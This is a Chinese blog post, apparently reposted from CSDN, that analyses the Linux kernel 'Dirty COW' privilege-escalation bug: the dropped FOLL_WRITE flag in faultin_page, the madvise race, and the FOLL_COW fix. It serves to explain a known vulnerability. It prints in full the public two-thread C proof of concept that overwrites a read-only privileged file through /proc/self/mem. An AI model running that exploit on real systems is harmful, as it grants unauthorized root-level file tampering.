linux本地内核提权漏洞 Dirty COW 成因分析

        关于“Dirty COW" 的影响,这方面的文章网上写的太多了,但是关于此漏洞真实成因的文章却很缺乏,基于此,我写了这篇文章,希望对想深入研究的人一些帮助。

脏牛漏洞核心成因:

        基于下面的POC来讲,要篡改的特权文件在被只读映射后,攻击者第一次发起wite=>mem_write=>get_user_pages=>faultin_page调用后已经去掉了FOLL_WRITE标记了,因为作者Torvalds假设后面都只会使用这个现成的页,漏洞就在这个假设中诞生了。如果有一个线程不断去调用madvise(DONTNEED),让映射页(特权文件)失效,这样在下一次write调用中,就不会再生成新的COW页了,而直接把原始文件映射过来了,为什么会这样?原因很简单,就是上面说的第一次faultin_page时已经把FOLL_WRITE标记去掉了。这就是为什么POC代码里需要两个线程:一个不断调用madvise(DONTNEED);另一个不断write "/proc/{pid}/mem+file_map_offset" 。


网上的POC:

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;

  for(i=0;i<100000000;i++)
  {
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;

  str=(char*)arg;

  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);

}

int main(int argc,char *argv[])
{
  if (argc<3) return 1;
  pthread_t pth1,pth2;
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);

  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);


  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;

}

线程1不断去调用madvise(DONTNEED),让映射页(特权文件)失效


线程2 不断去write一个被以只读方式映射特权文件


问题1:写/proc/{pid}/mem会触发什么样的内存写操作函数呢?



问题2,漏洞存在的关键函数有哪些?

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
                。。。。。。
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
//调用follow_page_pte()
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
}
。。。。。。
return i;
}


static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
        。。。。此处省去一万字。。。。
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;      //让漏洞利用成为了可能
return 0;

}


问题三,官方修复方案是什么?

官方修复方案是在faultin_page引入了一种新标记FOLL_COW,并在follow_page_pte检测

猜你喜欢

转载自blog.csdn.net/softgmx/article/details/79772772